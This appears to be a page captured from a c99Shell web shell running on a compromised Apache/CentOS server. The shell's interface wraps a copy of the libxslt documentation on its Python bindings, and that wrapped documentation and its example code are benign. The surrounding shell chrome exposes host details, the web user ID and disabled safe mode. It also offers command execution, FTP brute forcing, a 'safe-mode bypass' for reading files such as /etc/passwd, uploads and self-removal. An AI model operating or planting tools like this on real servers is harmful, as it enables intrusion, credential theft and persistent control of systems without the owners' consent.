!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/libxslt-1.1.17/   drwxr-xr-x
Free 40.46 GB of 127.8 GB (31.66%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     python.html (15.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Python and bindings
Action against software patentsGnome2 LogoW3C logoRed Hat Logo
Made with Libxslt Logo

The XSLT C library for Gnome

Python and bindings

Main Menu
Related links
API Indexes

There is a number of language bindings and wrappers available for libxml2,the list below is not exhaustive. Please contact the xml-bindings@gnome.org(archives) inorder to get updates to this list or to discuss the specific topic of libxml2or libxslt wrappers or bindings:

The libxslt Python module depends on the libxml2 Pythonmodule.

The distribution includes a set of Python bindings, which are garanteed tobe maintained as part of the library in the future, though the Pythoninterface have not yet reached the completeness of the C API.

Stéphane Bidoulmaintains a Windows portof the Python bindings.

Note to people interested in building bindings, the API is formalized asan XML API description filewhich allows toautomate a large part of the Python bindings, this includes functiondescriptions, enums, structures, typedefs, etc... The Python script used tobuild the bindings is python/generator.py in the source distribution.

To install the Python bindings there are 2 options:

  • If you use an RPM based distribution, simply install the libxml2-pythonRPMand the libxslt-pythonRPM.
  • Otherwise use the libxml2-pythonmodule distributioncorresponding to your installed version oflibxml2 and libxslt. Note that to install it you will need both libxml2and libxslt installed and run "python setup.py build install" in themodule tree.

The distribution includes a set of examples and regression tests for thepython bindings in the python/testsdirectory. Here are someexcepts from those tests:

basic.py:

This is a basic test of XSLT interfaces: loading a stylesheet and adocument, transforming the document and saving the result.

import libxml2
import libxslt

styledoc = libxml2.parseFile("test.xsl")
style = libxslt.parseStylesheetDoc(styledoc)
doc = libxml2.parseFile("test.xml")
result = style.applyStylesheet(doc, None)
style.saveResultToFilename("foo", result, 0)
style.freeStylesheet()
doc.freeDoc()
result.freeDoc()

The Python module is called libxslt, you will also need the libxml2 modulefor the operations on XML trees. Let's have a look at the objects manipulatedin that example and how is the processing done:

  • styledoc: is a libxml2 document tree. It is obtained byparsing the XML file "test.xsl" containing the stylesheet.
  • style: this is a precompiled stylesheet ready to be usedby the following transformations (note the plural form, multipletransformations can resuse the same stylesheet).
  • doc: this is the document to apply the transformation to.In this case it is simply generated by parsing it from a file but anyother processing is possible as long as one get a libxml2 Doc. Note thatHTML tree are suitable for XSLT processing in libxslt. This is actuallyhow this page is generated !
  • result: this is a document generated by applying thestylesheet to the document. Note that some of the stylesheet informationsmay be related to the serialization of that document and as in thisexample a specific saveResultToFilename() method of the stylesheet shouldbe used to save it to a file (in that case to "foo").

Also note the need to explicitely deallocate documents with freeDoc()except for the stylesheet document which is freed when its compiled form isgarbage collected.

extfunc.py:

This one is a far more complex test. It shows how to modify the behaviourof an XSLT transformation by passing parameters and how to extend the XSLTengine with functions defined in python:

import libxml2
import libxslt
import string

nodeName = None
def f(ctx, str):
    global nodeName

    #
    # Small check to verify the context is correcly accessed
    #
    try:
        pctxt = libxslt.xpathParserContext(_obj=ctx)
        ctxt = pctxt.context()
        tctxt = ctxt.transformContext()
        nodeName = tctxt.insertNode().name
    except:
        pass

    return string.upper(str)

libxslt.registerExtModuleFunction("foo", "http://example.com/foo", f)

This code defines and register an extension function. Note that thefunction can be bound to any name (foo) and how the binding is alsoassociated to a namespace name "http://example.com/foo". From an XSLT pointof view the function just returns an upper case version of the string passedas a parameter. But the first part of the function also read some contextualinformation from the current XSLT processing environement, in that case itlooks for the current insertion node in the resulting output (either theresulting document or the Result Value Tree being generated), and saves it toa global variable for checking that the access actually worked.

For more informations on the xpathParserContext and transformContextobjects check the libray internals description.The pctxt is actually an object from a class derived from thelibxml2.xpathParserContext() with just a couple more properties including thepossibility to look up the XSLT transformation context from the XPathcontext.

styledoc = libxml2.parseDoc("""
<xsl:stylesheet version='1.0'
  xmlns:xsl='http://www.w3.org/1999/XSL/Transform'
  xmlns:foo='http://example.com/foo'
  xsl:exclude-result-prefixes='foo'>

  <xsl:param name='bar'>failure</xsl:param>
  <xsl:template match='/'>
    <article><xsl:value-of select='foo:foo($bar)'/></article>
  </xsl:template>
</xsl:stylesheet>
""")

Here is a simple example of how to read an XML document from a pythonstring with libxml2. Note how this stylesheet:

  • Uses a global parameter bar
  • Reference the extension function f
  • how the Namespace name "http://example.com/foo" has to be bound to aprefix
  • how that prefix is excluded from the output
  • how the function is called from the select
style = libxslt.parseStylesheetDoc(styledoc)
doc = libxml2.parseDoc("<doc/>")
result = style.applyStylesheet(doc, { "bar": "'success'" })
style.freeStylesheet()
doc.freeDoc()

that part is identical, to the basic example except that thetransformation is passed a dictionnary of parameters. Note that the stringpassed "success" had to be quoted, otherwise it is interpreted as an XPathquery for the childs of root named "success".

root = result.children
if root.name != "article":
    print "Unexpected root node name"
    sys.exit(1)
if root.content != "SUCCESS":
    print "Unexpected root node content, extension function failed"
    sys.exit(1)
if nodeName != 'article':
    print "The function callback failed to access its context"
    sys.exit(1)

result.freeDoc()

That part just verifies that the transformation worked, that the parametergot properly passed to the engine, that the function f() got called and thatit properly accessed the context to find the name of the insertion node.

pyxsltproc.py:

this module is a bit too long to be described there but it is basically arewrite of the xsltproc command line interface of libxslt in Python. Itprovides nearly all the functionalities of xsltproc and can be used as a basemodule to write Python customized XSLT processors. One of the thing to noticeare:

libxml2.lineNumbersDefault(1)
libxml2.substituteEntitiesDefault(1)

those two calls in the main() function are needed to force the libxml2processor to generate DOM trees compliant with the XPath data model.

Daniel Veillard


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0145 ]--